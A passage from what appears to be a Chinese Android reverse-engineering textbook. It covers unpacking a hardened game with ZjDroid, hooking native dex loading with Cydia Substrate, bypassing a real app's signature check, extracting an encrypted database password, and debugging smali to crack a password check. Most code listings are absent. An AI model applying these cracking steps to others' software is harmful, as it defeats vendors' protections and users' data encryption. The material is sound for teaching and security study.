    {"text": "未知 18.5 工具使用案例 下面就要用一个案例来看看这个工具到底如何使用，有哪些功效。案例是捕鱼达人v1.0.1版本，具体的apk文件可以自行去网上搜索。安装游戏之后，然后顺便把上面的ZjDroid模块工具也安装上，之后进行重启生效。 最好是单独开一个CMD窗口用来查看打印结果，但是从上面的命令可以看到，应该需要这游戏的包名和进程id，那么这两个数据怎么获取呢？其实在前几章已经介绍很多次，用一个命令即可：adb shell dumpsys activity top。如下所示，但是这时候需要运行起来捕鱼达人游戏： 使用命令就可以获取到游戏的包名org.cocos2d.fishingjoy3和进程id=25304，这两个数据非常重要，这里可以先进行保管，进而后面使用。 下面首先来看一下这个应用用了哪些敏感的API数据，使用上面查看日志的命令即可： 运行结果如下所示： 这里有网络请求信息、网络切换的广播等数据，感觉这个工具的功能还是蛮多的。 下面再来看一下这个应用的dex文件信息，可以使用下面命令即可： 运行之后的结果如下所示： 这时候会发现，运行没有看到实际效果，原因是需要通过日志才能看到数据，因为上面命令运行的结果都是需要通过这个日志才可以看到的： 查看日志信息，结果如下所示： 这里可以看到具体的信息，看到有一个filepath，这就是后续有些命令需要用到的dex路径，所以一定要记下来。 接下来看一个关于dump出游戏中所有的类名的命令： 这里的路径就是上面获取到的apk路径，结果还需要通过上面的日志命令才可以看到，如下所示： 这就导出了游戏包含的所有类名了。 最后来看如何脱壳，这是最关键的，也是本章的重点，当然也是这个工具最实用的一个功能。而本章用的游戏也是经过加固处理的，可以反编译看看这个游戏，如图18-3所示。 图18-3 游戏加固图 会发现没几个类，而且有一个Application类，那么可以认定这个游戏被加固了，这里不介绍是使用哪家的加固平台操作了，也不再使用IDA等工具去动态调试脱壳了，这里直接使用这个工具进行操作即可。为了后续代码阅读方便，可以直接获取它的smali代码，使用这个命令： 这个命令的运行结果通过日志查看，如下所示： 而这个smali文件夹是存放在应用的/data/app/org.cocos2d.fishingjoy3/smali中，可以把它拷贝出来即可，如图18-4所示。 图18-4 dump出游戏之后的smali代码 可以看到成功脱壳了，生成了游戏的所有smali文件代码。这个脱壳操作和后面章节介绍使用IDA工具进行脱壳的原理都差不多，因为应用程序不管怎么加固，最终都会使用一个系统函数将dex文件加载到内存中，而加载之前肯定要进行解密操作，只要在加载之前解密之后进行拦截即可。 未知 18.6 本章小结 本章介绍了基于Xposed框架的脱壳神器ZjDroid的实现原理以及具体用法，从而使读者感受到Xposed框架的强大之处。当然本章只讲了一部分功能，还可以利用这个框架编写游戏外挂等操作。可以慢慢地解读这个框架的源码，能够学习到很多知识点。 未知 第19章 Native层Hook神器Cydia Substrate 前面介绍了Android中一款hook神器Xposed，本章介绍另外一个hook神器Cydia Substrate，当逆向游戏和应用的时候遇到so文件中的一个重要方法，这时候就想进行hook操作，但是Xposed几乎没法用，就需要使用这个框架了。这个框架的优点在于Hook底层函数非常方便，对so中的函数进行hook操作非常便捷。 未知 19.1 环境搭建 先介绍这个框架如何安装使用，操作的环境如下： ·设备系统：小米三+原生CM 4.4系统 ·框架版本：0.9.4010 ·是否root：必须root 关于这个环境，可能有的同学操作最大的问题就在于设备和系统，用不同设备、不同系统，可能安装会失败，具体问题可能需要自己去解决了。关于框架apk和功能jar包下载地址可以去官网： http://www.cydiasubstrate.com 。 未知 19.2 Hook Java层功能 搭建好了环境，下面就直接操作了。首先来看看如何Hook Java层功能。 第一步： 导入jar包 在Eclipse中新建一个Android工程，将下载好的框架的jar包拷贝到工程的libs目录下即可，如图19-1所示。 图19-1 导入jar包 第二步： 编写Hook入口类 具体API不多介绍了，就那么几个，没必要详细讲。下面代码对系统的imei进行Hook操作了： 下面代码是对系统的颜色值进行了Hook： 第三步： 配置XML信息 在AndroidManifest.xml中需要配置两个地方：一个是使用权限，一个是声明hook的入口类。 第四步： 安装运行 代码编写完成之后，直接运行安装即可，前提是需要正确安装Cydia Substrate框架程序，安装成功界面如图19-2所示。 安装Hook项目时会出现提示，如图19-3所示。 点击按钮，进入框架界面，点击重启即可。然后查看系统界面颜色以及返回的imei值，如图19-4所示。 图19-2 安装成功 图19-3 提示安装Hook项目 图19-4 框架界面 查看颜色的确变成粉色了，再看看imei值的修改： imei值也Hook成功了。到这里就用Cydia Substrate框架Hook了Java层功能。之前提到的Xposed框架也是可以做到这些功能的。"},
    {"text": "未知 19.3 Hook Native层功能 下面继续来看如何Hook Native层的功能，也是本章的重点。 第一步：创建一个Native项目 这里用Eclipse操作，简单便捷，有很多人问为什么不用AS，这要看每个人的使用习惯。虽然AS工具是主流，不过本人还是习惯用Eclipse，如图19-5所示。 第二步：导入Substrate的Native功能包 需要导入一个substrate.h头文件，和两个so功能包。Native层应用都是这么操作的，提供一个头文件告诉你API，具体实现在so包中。 图19-5 创建Native项目 第三步：寻找Hook的函数名 这里网上没有好的hook代码，为了更好的了解这个工具的厉害之处，弄一个比较实际的案例就是hook系统加载dex的函数，这样就可以获取到每个应用的dex文件了，这种方式对于早期加固是一个比较好的脱壳方案。在之前介绍脱壳会使用IDA在指定函数处下个断点，这里如果要hook的话，就需要找到这个加载dex的函数名称，一定要记的是导出的函数名。 下面就用IDA来查找需要Hook的函数名，首先导出设备的libdvm.so文件：system/lib/libdvm.so 然后使用IDA打开，寻找加载dex函数，如图19-6所示。 图19-6 寻找加载dex函数 切换到Exports视图页面，然后搜索dexFileParse函数，点进去： 需要得到的是EXPORT函数，需要Hook的是它，一定要注意函数，不然Hook没效果的。找到函数之后还得获取函数的参数类型和返回类型，这个也好办，因为有Android源码，所以直接在源码中找这个函数参数说明、已经返回值说明即可。因为Native层Hook的其实是函数指针的替换，所以如果想Hook原来的函数，必须新建一个和原来一样的函数功能，然后传递函数指针即可。这个函数的参数和返回值定义如下： 参数含义非常简单，第一个参数表示dex文件的起始地址，第二个参数是dex文件的长度，有这两个参数就可以写入文件了。这里需要获取DexFile类型，这个直接在Android源码目录下找到这个头文件DexFile.h即可。然后导入工程中。这样就找到了需要hook的函数，下面就开始编写hook代码了。 第四步：编写hook代码 在编写hook代码之前，需要考虑这几件事： ·hook之后的dex存在哪？怎么存？这里直接通过当前的pid值获取进程名，然后将其作为dex的文件名，这样每个进程的dex文件名就不会冲突了。这里要理解一点：一个进程对应一个DVM，加载一个dex文件。所以这里hook其实就是注入每个进程，在每个进程中hook每个函数功能。 ·需要过滤系统进程，并不是所有的进程都是想要hook的，而且这些进程未必有dex文件，比如鼻祖进程zygote，而这些进程过滤规则，需要自己打印看结果，然后构造。 下面开始写代码了，首先定义想要hook的so文件： 主要是第二个参数，是需要hook的so路径。然后在入口处开始hook代码： 这里找到so中需要hook函数符号，然后直接调用MSHookFunction传入符号，新函数地址，旧函数地址。可以看到在C中指针是多么强大，实现了函数的回调机制，而且非常方便。然后继续来看新定义的hook函数功能： 这里先获取当前进程名称，然后构造dex文件名，保存dex文件，最后一定要记得返回原始的函数功能，不能影响正常的流程。还要记得过滤规则，不要对每个进程都进行操作，并不是每个进程都是有效的。而这些过滤规则是根据自己打印进程名来自行添加即可。 第五步：编写MK文件 上面代码已经编写完成了，下面来编写编译脚本吧。注意编译之后的文件名一定要以cy结尾，不然是hook是失败的，然后就是需要导入substrate的so库文件： 第六步：安装并运行 和之前一样，运行之后，需要重启设备，然后先看看native层的log信息： 然后再去目录中查看保存的dex文件信息，如图19-7所示。 图19-7 dex文件 dex文件都保存成功了，这样会发现如果对于早期的加壳应用，可以采用这种方式进行脱壳操作。也不需要用IDA进行调试dump出dex文件了。 未知 19.4 框架使用事项说明 关于Native层Hook就介绍完了，这里还是需要说明几点： ·Hook之前需要分析so文件获取需要Hook的函数名称，参数返回值定义，这个和Hook Java层一样，必须先找到突破点才能进行下一步。 ·Hook可能会有一些错误，因为native层比java层错误信息难发现，所以最好是在某些地方加一些日志观察结果。 如果在使用过程中发现Hook失败，注意检查如下个条件： ·XML中是否配置了权限和入口。 ·编译脚本MK中的后缀名是否为cy。 项目下载地址： https://github.com/fourbrother/CydiaSubstrateHook 未知 19.5 本章小结 本章主要从Hook Java层和Native层两个方面介绍了Cydia Substrate框架，关于Hook Java层功能Xposed框架也可以做到，但是对于Native层功能的Hook操作，还是Cydia Substrate框架比较好用，有了这个框架再也不畏惧Hook了，Native层代码也可以一览无余。 未知 操作篇 第20章 静态方式逆向应用 第21章 动态调试smali源码 第22章 IDA工具调试so源码 第23章 逆向加固应用软件技术分析 第24章 逆向应用经典案例分析 第25章 Android中常见漏洞分析 第26章 文件加密病毒Wannacry样本分析"},
    {"text": "未知 第20章 静态方式逆向应用 本章主要介绍Android中如何使用静态方式逆向apk，学习逆向前，需要了解smali语法和arm指令，本章先介绍这两个知识点，然后介绍如何使用IDA工具来分析so文和工具，最后会通过一个案例来分析静态方式逆向apk的流程和注意事项。 未知 20.1 smali语法 smali、baksmali分别是指安卓系统里的Java虚拟机（Dalvik）所使用的一种，dex格式文件的汇编器、反汇编器，其语法是一种宽松式的Jasmin/dedexer语法，而且实现了.dex格式所有功能（注解、调试信息、线路信息等）。 当对apk文件进行反编译后，便会生成此类的文件，其中在Davlik字节码中，寄存器都是32位的，能够支持任何类型，64位类型（Long/Double）用2个寄存器表示；Dalvik字节码有两种类型：原始类型、引用类型（包括对象和数组）。 1.smali指令 部分smali指令如下： .field private isFlag：z 定义变量 .method 方法 .parameter 方法参数 .prologue 方法开始 .line 12 此方法位于第12行 invoke-super 调用父函数 const/high16 v0，0x7fo3 把0x7fo3赋值给v0 invoke-direct 调用函数 return-void 函数返回void .end method 函数结束 new-instance 创建实例 iput-object 对象赋值 iget-object 调用对象 invoke-static 调用静态函数 条件跳转分支指令如下： \"if-eq vA，vB，：cond_**\" 如果vA等于vB则跳转到：cond_** \"if-ne vA，vB，：cond_**\" 如果vA不等于vB则跳转到：cond_** \"if-lt vA，vB，：cond_**\" 如果vA小于vB则跳转到：cond_** \"if-ge vA，vB，：cond_**\" 如果vA大于等于vB则跳转到：cond_** \"if-gt vA，vB，：cond_**\" 如果vA大于vB则跳转到：cond_** \"if-le vA，vB，：cond_**\" 如果vA小于等于vB则跳转到：cond_** \"if-eqz vA，：cond_**\" 如果vA等于0则跳转到：cond_** \"if-nez vA，：cond_**\" 如果vA不等于0则跳转到：cond_** \"if-ltz vA，：cond_**\" 如果vA小于0则跳转到：cond_** \"if-gez vA，：cond_**\" 如果vA大于等于0则跳转到：cond_** \"if-gtz vA，：cond_**\" 如果vA大于0则跳转到：cond_** \"if-lez vA，：cond_**\" 如果vA小于等于0则跳转到：cond_** 2.smali语法案例分析 下面是一个简单方法： 上面代码反编译之后对应的smali语法如下： 如果符合if分支则程序往下走，最终return；而如果条件不符合则会走到：cond_0分支，最终执行goto：goto_0走回到：goto_0返回。 未知 20.2 手动注入smali语句 有时候破解应用时，需要通过全局搜索一些关键的字符串来找突破点，但是这招有时候不好使，所以这时需要加一些代码来观察信息了，这里有一个通用的方法就是加入自己的log代码，来追踪代码的执行逻辑，因为这里讲的是静态分析技术，所以就用代码注入技术来跟踪执行逻辑，后面介绍了动态分析技术之后，那就简单了，可以随意打断点来进行调试。这里的添加代码，就是修改smali代码，添加日志信息即可，下面会用例子来进行讲解，这也是最常用的一种技术。"},
    {"text": "未知 20.3 ARM指令 逆向者必须能看懂汇编代码，就类似于在调试Java层代码的时候一样，必须会smali语法。庆幸的是，这两种语法都不是很复杂，知道一些大体的语法和指令就可以了，下面来看看ARM指令中的寻址方式、寄存器、常用指令，了解这三个知识点，就会对ARM指令有一个大体的了解。 1.ARM指令中的寻址方式 ·立即数寻址 立即数寻址也叫立即寻址，是一种特殊的寻址方式。操作数本身包含在指令中，只要取出指令也就取到了操作数。这个操作数叫做立即数，对应的寻址方式叫作立即寻址。例如： ·寄存器寻址 寄存器寻址是利用寄存器中的数值作为操作数，也称为寄存器直接寻址。例如： ·寄存器间接寻址 寄存器间接寻址就是把寄存器中的值作为地址，再通过这个地址去取得操作数，操作数本身存放在存储器中。例如： ·寄存器偏移寻址 这是ARM指令集特有的寻址方式，它是在寄存器寻址得到操作数后再进行移位操作，得到最终的操作数。例如： ·寄存器基址变址寻址 寄存器基址变址寻址又称为基址变址寻址，是在寄存器间接寻址的基础上扩展来的。它将寄存器（该寄存器一般称作基址寄存器）中的值与指令中给出的地址偏移量相加，从而得到一个地址，通过这个地址取得操作数。例如： ·多寄存器寻址 这种寻址方式可以一次完成多个寄存器值的传送。例如： ·堆栈寻址 堆栈是一种数据结构，按先进后出（First In Last Out，FILO）的方式工作，使用堆栈指针（Stack Pointer，SP）指示当前的操作位置，堆栈指针总是指向栈顶。例如： 2.ARM中的寄存器 R0-R3：用于函数参数及返回值的传递。 R4-R6，R8，R10-R11：没有特殊规定，就是普通的通用寄存器。 R7：栈帧指针（Frame Pointer），指向前一个保存的栈帧（stack frame）和链接寄存器（link register，lr）在栈上的地址。 R9：操作系统保留。 R12：又叫IP（intra-procedure scratch）。 R13：又叫SP（stack pointer），是栈顶指针。 R14：又叫LR（link register），存放函数的返回地址。 R15：又叫PC（program counter），指向当前指令地址。 3.ARM中的常用指令含义 ADD：加指令。 SUB：减指令。 STR：把寄存器内容存到栈上去。 LDR：把栈上内容载入一寄存器中。 .W：是一个可选的指令宽度说明符。它不会影响为此指令的行为，它只是确保生成32位指令。Infocenter.arm.com的详细信息。 BL：执行函数调用，并把使lr指向调用者（caller）的下一条指令，即函数的返回地址。 BLX：同上，但是在ARM和thumb指令集间切换。 CMP：指令进行比较两个操作数的大小。 4.ARM指令简单代码段分析 C代码： 对应的ARM指令： 未知 20.4 用IDA静态分析so文件 IDA工具太强大了，它可以查看so中的代码逻辑。如图20-1所示。 图20-1 IDA打开so文件内容 可以看到左边栏中有so中的函数，找到指定函数的定义的地方进行查看即可。IDA也是可以直接查看apk文件的，如图20-2所示。 可以查看apk文件中的所有文件。可以选择classes.dex文件，如图20-3所示。 这里可能会遇到一个问题，就是如果应用程序太大，打开过程中会很慢，有可能IDA停止工作，所以要慢慢等，如图20-4所示。 图20-2 IDA查看apk文件 图20-3 查看classes.dex文件 图20-4 查看classes.dex文件 打开之后，可以看到类和方法名，这里还可以支持搜索类名和方法名Ctrl+F，也可以查看字符串内容（Shirt+F12），如图20-5所示。 图20-5 查看字符串内容 发现IDA也是一个分析Java代码的好手，所以说这个工具太强大了。"},
    {"text": "20.5.1 静态分析smali代码 首先拿到需要破解的apk，使用apktool.jar工具来反编译： 这个apk很容易就被反编译了，看来并没有进行任何的加固，那就好办了。"},
    {"text": "这里改一下它的AndroidManifest.xml中的信息，改成可调式模式，这是后面进行动态调试的基础，当然也可以不用修改，在之前章节介绍了如何修改系统的调试总开关，如果把系统的调试总开关打开，这里就不用修改了。"},
    {"text": "修改成功之后，进行回编译： 这里是为了简化内容，写了一个批处理，首先进入到目录，然后使用命令进行回编译： sq是之前反编译的目录，debug.apk是回编译之后的文件，这时，debug.apk是不能安装运行的，因为没有签名，Android中是不允许安装一个没有签名的apk。 下面还要继续签名，用系统自带的签名文件即可签名： 后面就直接安装这个apk，然后运行apk。 这个过程中只需要知道应用的包名和入口Activity名称即可，这个信息在AndroidManifest.xml中也是可以获取到的，当然可以使用如下命令得到： 回编译之后，运行程序，发现有问题，即点击程序的icon没反应，运行不起来。"},
    {"text": "在分析代码的时候，要先看看它有没有自己定义Application，如果有定义的话，就需要看它自己的Application类，这里看到它定了自己的Application：com.shuqi.application.ShuqiApplication。"},
    {"text": "这里一般找问题的方法是： 1）首先看这个类有没有静态方法和静态代码块，因为这类的代码会在对象初始化之前运行，可能在这里加载so文件，或者是加密校验等操作。"},
    {"text": "下面来看看怎么添加日志信息，就是添加日志，需要修改smali文件，再去查看smali源码： 这里可以很清晰地看到调用了这些方法，那么就在每个方法中加上日志信息，这里加日志有两种方式。"},
    {"text": "另外一种方式就自己定义一个MyLog类，然后反编译，得到MyLog的smali文件，添加到这个ShuqiApplication.smali的root目录下，然后在代码中直接调用即可。"},
    {"text": "图20-7 静态方法调用 编写日志类MyLog，这里就不粘贴代码了，新建一个项目之后，反编译得到MyLog.smail文件，放到目录中： 得到这个文件的时候，一定要注意，把MyLog.smali的包名信息删除，因为放到root目录下的，意味着这个MyLog类是没有任何包名的，这需要注意，不然最后加也是报错的。 在ShuqiApplication的onCreate方法中插入的日志方法，如下所示： 在加代码的时候需要注意，要找对地方加，就是在上个方法调用完之后添加，比如：invoke-virtual，invoke-static等，而且这些指令后面不能有move-result-object，因为这个指令是获取方法的返回值，所以一般是这么加代码的： ·在invoke-static/invoke-virtual指令返回类型是V之后可以加入。"},
    {"text": "加好了日志代码之后就回编译执行，在这个过程中可能会遇到samli语法错误，针对指定的文件修改就可以了，得到回编译的apk之后，可以再反编译一下，看看它的Java代码，如图20-8所示。"},
    {"text": "下面运行程序，同时开启log的tag： 看到打印的日志了，发现打印了三个log，这里需要注意的是，虽然打印了三个log，但是都是在不同的进程中，一个进程中的log只打印了一个，所以判断，问题出现在vr.h这个方法，如下所示： 查看这个方法源码如下所示： 果然，这个方法做了签名验证，校验不正确的话，直接退出程序。"},
    {"text": "在反编译之后，看到它的onCreate方法中有一个加载so的代码，如下所示： 看看这个代码，如下所示： 获取密码的方法是native的，就来看看getDbPassword方法。"},
    {"text": "其实现在很多应用加密数据库都是使用这个框架的，微信也是使用这个框架对本地通讯信息数据库进行加密的，这个加密工具对应的有一个Window程序可以打开它，不过需要密码，如图20-11所示。 图20-11 打开加密的数据文件 如果想破解加密的数据库内容，只要得到加密数据库密码即可，而这个密码一般是保存在本地的，只要在本地就有办法获取的。"},
    {"text": "本节通过案例介绍了如何使用静态方式去破解一个apk，在破解一个apk的时候，其实就是改点代码，然后能够运行起来，达到想要的功能，一般步骤如下： 1）注释特定功能，比如广告展示等。"},
    {"text": "在静态分析代码的时候，需要遵循的大体路线如下：首先能够反编译，得到AndroidManifest.xml文件，找到程序入口代码。 找到想要的代码逻辑，一般会结合界面分析，比如要想登录成功，肯定想要得到用户登录界面Activity，这时可以用adb shell dumpsys activity top命令得到Activity名称，然后用Eclipse自带的程序当前视图分析工具得到控件名称，或者在代码中获取layout布局文件，一般是setContentView方法的调用地方，然后用布局文件结合代码得到用户登录的逻辑，进行修改。"},
    {"text": "有些apk中的源码可能有自己的加密算法，这时候需要获取到这个加密方法，如果加密方法比较复杂，就需要大批的测试数据来获取这个加密方法的逻辑，一般是输入和输出作为一个测试用例。 对于System.loadLibrary加载so文件的代码，只需要找到这个so文件，然后用IDA打开进行静态分析，因为有些apk中把加密算法放到了so中了，这时候也可以通过测试数据来获取加密算法。 通过上面的例子，可以得出一个经验，就是现在很多apk会做一些校验工作，因为一般在代码中包含“signature”字符串信息，所以可以全局搜索一下，也许能获取一些重要信息，如图20-13所示。"},
    {"text": "未知 20.6 本章小结 本章主要介绍了如何通过静态分析方式进行破解，介绍了一些工具的使用，以及破解流程、破解技巧。最常用的就是代码注入技术和全局搜索关键字符串等方式。可以看到，现在市面上的很多apk，仅通过静态分析是无法满足破解需求了，所以动态分析方式就来了，而且动态方式破解难度会很大，需要掌握的东西也很多，后面篇章会一一介绍动态破解的技巧和常见的问题。而静态方式破解也很重要，是动态分析的前提，所以这两种技术都必须很好地掌握。 未知 第21章 动态调试smali源码 本章开始介绍另外一种破解apk方式：动态方式。动态方式相对于静态方式来说难度大一点，但是它比静态方式高效，能够针对更多的破解范围。破解一般的apk没有任何问题，不过不能代表能够破解所有的apk，因为没有绝对的安全，也是没有绝对的破解，双方都在进步，只能具体问题具体分析。 首先需要解释一下，为什么调试smali源码，而不是Java源码，因为进行过反编译的人知道，使用apktool反编译apk之后，会有一个smali文件夹，这里存放了apk对应的smali源码。 未知 21.1 动态调试步骤 第一步：反编译apk 通过apktool工具进行apk的反编译，得到smali源码和AndroidManifest.xml，然后修改AndroidManifest.xml中的debug属性为true，同时在入口处加上waitForDebug代码，进行debug等待。一般入口都是先找到入口Activity的onCreate方法中的第一行处，这里需要注意的是，apktool工具一定要加上-d参数，这样反编译得到的文件是Java文件，这样才能够被Eclipse识别，进行调试。 第二步：回编译apk 修改完成AndroidManifest.xml和添加waitForDebug之后，需要使用apktool进行回编译，回编译之后得到的是一个没有签名的apk，还需要使用signapk.jar来进行签名，签名文件直接使用测试程序的签名文件就可以，最后进行安装。 第三步：将反编译smali工程导入Eclipse 将反编译之后的smali源码导入到Eclipse工程中，找到关键点，进行下断点。这里的关键点，一般是先大致了解程序运行的结构，然后找到需要破解的地方，使用View分析工具，或者使用jd-gui工具直接查看apk源码（使用dex2jar将dex文件转化成jar文件，然后用jd-gui进行查看），找到代码的大体位置，然后下断点。这里可以借助Eclipse的DDMS自带的View分析工具找到对应控件的resid，然后全局搜索这个控件的resid，或者直接在values/public.xml中查找，最终定位到这个控件位置，再查看它的点击事件即可。 第四步：设置远程调试 设置远程调试工程，首先运行需要调试程序，然后在DDMS中找到对应的调试服务端的端口号，然后在Debug Configurations中设置远程调试项目，设置对应的调试端口和ip地址（一般都是本机pc，那就是localhost），然后红色小蜘蛛变成绿色的，表示远程调试项目连接关联上了调试程序。这里需要注意的是，一定需要关联正确，不然是没有任何效果的，关联成功之后，就可以进行操作。 第五步：调试apk程序 操作的过程中，会进入到关键的断点处，通过F6单步，F5单步进入，F7单步跳出，进行调试。找到关键方法，然后通过分析smali语法了解逻辑，如果逻辑复杂的，可以通过查看具体的环境变量的值来观察，这里也是最重要的，也是最复杂的，同时这里也是没有规章可寻的，这与每个人的逻辑思维以及破解能力有关系。分析关键的加密方法是需要功底的，当然这里还需要注意一个信息，就是Log日志，这有时候也是很重要的一个信息。 第六步：编写代码实现核心逻辑 当知道了核心方法的逻辑，要想得到正确的密码，还是需要自己用语言去实现逻辑的，需要手动编写代码才能得到正确的密码。"},
    {"text": "因为这个参数代表反编译得到的smali是Java文件，这里指文件后缀名是Java，如果不带这个参数，后缀名是smali的，但是Eclipse中是不会识别smali文件的，而能识别Java文件，所以这里一定要记得加上这个参数。"},
    {"text": "图21-2 反编译之后的目录 源码都放在smali文件夹中，如图21-3所示，进入查看一下文件。 图21-3 smali代码目录 这里全是Java文件，其实只是后缀名为Java了，内容还是smali文件： 第二步：修改AndroidManifest.xml中的debug属性 上面反编译成功了，下面为了后续的调试工作，所以还是需要做两件事： 1）修改AndroidManifest.xml中的android：debuggable=“true”。"},
    {"text": "这个属性在前面介绍run-as命令的时候也提到了，它标识这个应用是否是debug版本，这将会影响到这个应用是否可以被调试，所以这里必须设置成true。"},
    {"text": "查找这个Activity的方法太多了，比如这里直接从上面得到的AndroidManifest.xml中找到，因为入口Activity的action和category是固定的： 当然还有其他方式，比如用aapt查看apk的内容方式，或者安装apk之后用adb dumpsys activity top命令查看。 找到入口Activity之后，直接在它的onCreate方法的第一行加上waitForDebugger代码即可，找到对应的MainActivity的smali源码，然后添加一行代码： 这个是smali语法的，其实对应的Java代码就是： 注意： 其实还有一种更方便的方式，就是使用am命令，以debug模式启动一个应用： 后面再进行调试的时候都会采用这种方式了。 第三步：回编译apk并且进行签名安装 代码如下： 还是使用apktool进行回编译： 编译完成之后，将得到debug.apk文件，但是这个apk是没有签名的，所以是不能安装的，那么下面需要进行签名。"},
    {"text": "这里使用Android中的测试程序的签名文件和sign.jar工具进行签名，如图21-4所示。 图21-4 签名工具signapk.jar 命令如下： 签名之后，就可以进行安装了。"},
    {"text": "第四步：将smali源码导入到Eclipse中 这里新建一个Java项目，记住不是Android项目，因为最后的调试工作其实是借助于Java的调试器，然后勾选“Use default location”选项，选择smali源码目录，也就是上面反编译之后的out目录，点击完成，如图21-5所示。 图21-5 Eclipse中导入smali项目 导入源码之后的项目工程结构如图21-6所示。"},
    {"text": "比如这个例子中，当输入密码之后，肯定要点击按钮，然后触发密码的校验过程，那么要找到这个button的定义的地方，然后进入它的点击事件中就可以了。"},
    {"text": "是在资源文件中搜到了这个id的定义，这个id值对应的是0x7F05003E。 当然除了这种方式，还有一种方式能快速找到这个id对应的整型值，那就是在反编译之后的values/public.xml文件中，如图21-12所示。"},
    {"text": "这个文件很有用，它是整个apk中所有资源文件定义的映射内容，比如drawable/string/anim/attr/id等这些资源文件定义的值、名字和整型值对应的地方，如图21-13所示。"},
    {"text": "图21-6 导入成功效果图 图21-7 入口类代码 图21-8 view分析工具按钮 图21-9 分析工具效果图 图21-10 全局搜索关键字 图21-11 全局搜索结果 图21-12 public.xml文件 图21-13 public.xml内容 这个文件很重要，是寻找突破口的关键点，比如有时候需要通过字符串内容来定位关键点，这里就可以通过string的定义来找到对应的整型值即可。"},
    {"text": "当找到了button对应的id值了之后，就可以用这个id值再一次全局搜索一下，因为Android中编译之后的apk，在代码中用到的ResId都是用一个整型值代替的，这个整型值就是在R文件中做了定义，将资源的id和一个值对应起来，然后代码里面一般使用R.id.button这样的值，再编译出apk的时候，这个值就会被替换成对应的整型值，所以再全局搜索0x7F05003E，如图21-14所示。"},
    {"text": "在这里看到使用了findViewById的方式定义Button，再简单分析一下smali语法，下面是给button添加一个按钮事件，这里用的是内部类MainActivity$1，到这个类看看，它肯定实现了OnClickListener接口，那么直接搜onClick方法，如图21-17所示。"},
    {"text": "图21-14 全局搜索id值 图21-15 全局搜索id结果值 图21-16 定位代码位置 图21-17 点击事件方法 在这里就可以下个断点了，这里就是触发密码校验过程的地方。"},
    {"text": "第六步：运行程序，设置远程调试项目 在第五步中，找到了关键点，然后打上断点，下面就来运行程序，然后在Eclipse中设置远程调试的项目，运行程序。"},
    {"text": "程序运行起来之后，看看如何在Eclipse中设置远程调试项目，首先找到需要调试的程序对应远程调试服务端的端口，如图21-18所示。 图21-18 调试端口图 这里要注意以下几点：第一点，在程序等待远程调试服务器的时候，前面会出现一个红色的小蜘蛛。 第二点，在调试服务端我们会看到两个端口号8600/8700，这里需要解释一下，为什么会有两个端口号呢？ 首先这里的端口号代表的是，远程调试服务器端的端口，下面简单来看一下Java中的调试系统，如图21-19所示。 图21-19 Java中的调试系统 这里有三个角色： 1）被调试的客户端。"},
    {"text": "可以认为需要破解的程序就是客户端，如果一个程序可以被调试，当启动的时候，会有一个JDWP线程用来和远程调试服务端进行通信，如下所示： 需要破解的程序启动了JDWP线程，注意这个线程也只有当程序是debug模式下才有的，也就是AndroidManifest.xml中的debug属性值必须是true的时候，这也是一开始为什么要修改这个值的原因。"},
    {"text": "2）JDWP协议（用于传输调试信息，比如调试的行号、当前的局部变量的信息等），这可以说明，为什么在一开始的时候，反编译成Java文件，因为为了Eclipse导入能够识别的Java文件，然后为什么能够调试呢？"},
    {"text": "3）远程调试的服务端，一般是有JVM端，就是开启一个JVM程序来监听调试端，这里就可以认为是本地的PC机。 当然必须有端口用来监听，那么上面的8600端口就是这个作用，而且端口是从8600开始，后续的程序端口号都是依次加1的，比如其他调试程序端口如图21-20所示。 图21-20 调试端口 那么有了8600端口，为什么还有一个8700端口呢？"},
    {"text": "不过，在实际过程中，还是建议使用程序独有的端口号8600，可以查看8600和8700端口在远程调试端（本地pc机）的占用情况，如下所示。 8600端口和8700端口号都是对应的javaw程序，javaw程序就是启动一个JVM来进行监听的。"},
    {"text": "注意，其实可以使用adb jdwp命令查看当前设备中可以被调试的程序的进程号信息，如下所示： 下面继续，知道了远程调试服务端的端口8600以及ip地址，这里就是本地ip：localhost/127.0.0.1。"},
    {"text": "这两种方式的区别如下所示： ·Listner方式：调试客户端启动就准备好一个端口，当调试服务端准备好了，就连接这个端口进行调试。 ·Attach方式：调试服务端开始就启动一个端口，等待调试端来连接这个端口。 图21-23 调试的两种方式 一般都是选择Attach方式来进行操作的。"},
    {"text": "看看DDMS中调试程序的状态，如下所示： 关联到了这个进程，上面使用的是8700端口号，这时选中了这个进程，就把smali调试项目关联到了这个进程，破解的进程没响应了，立马改一下，用8600端口，如下所示： 这下成功了，看到红色的小蜘蛛变成绿色的了，说明调试端已经连接上远程调试服务端了。 注意： 在设置远程调试项目的时候，一定要注意端口号的设置，不然没有将调试项目源码和调试程序关联起来，是没有任何效果的。"},
    {"text": "第七步：开始运行调试程序，进入调试 在程序的文本框中输入：gggg内容，点击开始，如图21-24所示。 图21-24 进入断点 到这里看到期待已久的调试界面出来了，到了开始的时候加的断点处，就可以开始调试了，使用F6单步调试，F5单步跳入，F7单步跳出进行操作。"},
    {"text": "图21-25 查看变量值 图21-26 查看变量值 这里有一个关键的地方，就是调用MainActivity的getTableFromPic方法，获取一个String字符串，从变量的值来看，貌似不是规则的字符串内容，这里先不用管了，继续往下走，如下所示。"},
    {"text": "这里又遇到一个重要的方法getPwdFromPic，如图21-27所示，从字面意义上看，应该是获取正确的密码，用于后面的密码字符串比对。 图21-27 查看密码内容 查看一下密码的内容，貌似也是一个不规则的字符串，但是可以看到和上面获取的table字符串内容格式很像，接着往下走。 这里还有一个信息就是调用了系统的Log打印，log的tag就是v6保存的值lil，如下所示： 这时候看到v3是保存的输入密码，这里使用utf-8获取它的字节数组，然后传递给access$0方法： 使用F5进入这个方法： 在这个方法中，还有一个bytesToAliSmsCode方法，使用F5进入： 这个方法其实看上去还是很简单的，就是把传递进来的字节数组循环遍历，取出字节值，然后转化成int类型，再调用上面获取到的table字符串的chatAt来获取指定的字符，使用StringBuilder进行拼接，然后返回即可，如图21-28所示。 图21-28 加密之后的内容 按F7跳出，查看，返回来加密的内容是“日日日日”，如图21-29所示，也就是说gggg=>日日日日。"},
    {"text": "图21-29 代码比对方法 上面就分析完了所有的代码逻辑，还不算复杂，来梳理一下流程： 1）调用MainActivity中的getTableFromPic方法，获取一个table字符串。 可以进入看看这个方法的实现： 这里可以大体了解了，它是读取asset目录下的一个logo.png图片，然后获取图片的字节码再进行操作，得到一个字符串，那么从上面的分析可以知道，其实这里的table字符串类似于一个密钥库。"},
    {"text": "3）获取输入内容的utf-8的字节码，然后调用access$0方法，获取加密之后的内容。 4）access$0方法中调用bytesToAliSmsCode方法，获取加密之后的内容。"},
